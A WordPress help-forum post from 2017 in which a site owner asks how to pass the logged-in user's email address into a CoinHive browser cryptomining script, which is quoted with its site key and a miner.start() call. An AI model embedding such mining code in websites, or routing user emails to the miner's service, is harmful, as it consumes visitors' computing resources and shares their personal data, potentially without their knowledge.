Web Hosting
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

WordPress How To Output The Logged In Users Email In a Script

Discussion in 'Misc WordPress Requests' started by OC WordPress Web Designer, Oct 29, 2017.

  1. OC WordPress Web Designer

    Guest

    How To Output The Logged In Users Email In a Script, by OC WordPress Web Designer

    I want to add a script from CoinHive (below). Where is says: ‘john-doe’ I want to generate the current logged in user’s email address (Example: ‘EMAIL ADDRESS’) . How can I accomplish that?

    <script>
    var miner = new CoinHive.User(‘0qAbW8fGB70V4gzmHmxtiMMnmH7’, ‘john-doe’);
    miner.start();
    </script>

    How To Output The Logged In Users Email In a Script
     
    #1

Share This Page

Web Hosting